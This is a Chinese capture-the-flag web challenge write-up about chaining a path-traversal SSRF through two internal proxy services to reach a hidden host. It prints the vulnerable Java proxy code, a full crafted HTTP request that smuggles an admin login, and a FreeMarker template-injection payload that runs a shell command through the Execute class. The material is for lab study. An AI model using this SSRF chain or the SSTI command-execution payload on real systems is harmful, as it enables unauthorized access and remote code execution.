CTF web题 代理相关

背景
有三虚拟机:虚拟机a、虚拟机service-provider、虚拟机c,我们只能访问虚拟机a的8080端口及其提供的web服务,其中包括访问虚拟机service-provider的代理服务;虚拟机service-provider的web服务没有对外端口,提供访问虚拟机c的代理;虚拟机c没有直接对外提供服务。

来看虚拟机a的代理服务:

// 虚拟机a
@PostMapping({"/user"})
    public String getUserInfo(HttpServletRequest request, @RequestParam String name) {
        ResponseEntity responseEntity = this.restTemplate.exchange("http://service-provider/user/" + name, HttpMethod.GET, (HttpEntity)null, String.class, request.getParameterMap());
        return (String)responseEntity.getBody();
    }

service-provider的user接口,也就是可以通过上面的服务转过来,但是转过来后发现这个接口没什么用。

// 虚拟机service-provider
@GetMapping({"/user/{name}"})
    public User getUserInfo(@PathVariable String name) {
        return this.userService.queryUser(name);
    }

service-provider的proxy接口,这才是我们需要的接口,通过该接口我们可以访问到虚拟机c的服务,所以我们可以使用name=…/proxy来访问到proxy接口

// 虚拟机service-provider
@RequestMapping({"/proxy"})
    public byte[] proxy(@RequestParam String target, @RequestParam String data) throws IOException {
        SocketChannel socketChannel = null;
        ByteBuffer byteBuffer = ByteBuffer.allocate(2048);

        try {
            String host = target.split(":")[0];
            int port = Integer.valueOf(target.split(":")[1]);
            socketChannel = SocketChannel.open();
            socketChannel.socket().connect(new InetSocketAddress(host, port), 2);
            socketChannel.write(ByteBuffer.wrap(data.getBytes()));
            socketChannel.read(byteBuffer);
        } catch (Exception var10) {
        } finally {
            if (socketChannel != null) {
                socketChannel.close();
            }
        }
        return byteBuffer.array();
    }

构造访问包如下,其中172.77.225.181为虚拟机c的服务,发送登录包,其中postData通过/proxy的socket发送数据,这里需要注意第二个包中的Content-Length: 43,43需要自己计算,为postData编码前的大小。

POST /user?postData=%7B%22username%22%3A%22admin%22%2C%22password%22%3A%22123456789%22%7D HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33527021602761954441026510006
Content-Length: 753
Origin: http://127.0.0.1:8090
Connection: close
Referer: http://127.0.0.1:8090/admin/index.html
Cookie: JSESSIONID=1302C764D1B0FEDD85D0AA972B92DBBB; CSRFTOKEN=700375548; SECURE=SECURE_1393885932

-----------------------------33527021602761954441026510006
Content-Disposition: form-data; name="name"

../proxy?target=172.77.225.181:8090&data=POST /api/admin/login HTTP/1.1
Host: 172.77.225.181:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 43
Origin: http://127.0.0.1:8090
Connection: close
Referer: http://127.0.0.1:8090/admin/index.html
Cookie: JSESSIONID=194AFB9FB798E4778345C968F7662F0B; CSRFTOKEN=1127913799; SECURE=SECURE_1896933955

{postData}
-----------------------------33527021602761954441026510006--

返回认证信息
在这里插入图片描述
虚拟机c的服务上有freeMark的模版注入漏洞,poc如下:

<#assign loader=Request["org.springframework.web.servlet.DispatcherServlet.CONTEXT"]["classLoader"]["loadClass"]>
<#assign clz=loader("freemarker.template.utility.Execute")>
<#assign exec=Request["org.springframework.web.servlet.DispatcherServlet.CONTEXT"]["getBean"]("gson")["fromJson"]("{}", clz)> 
${exec("id")}

使用代理进行攻击:
在这里插入图片描述
访问:
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值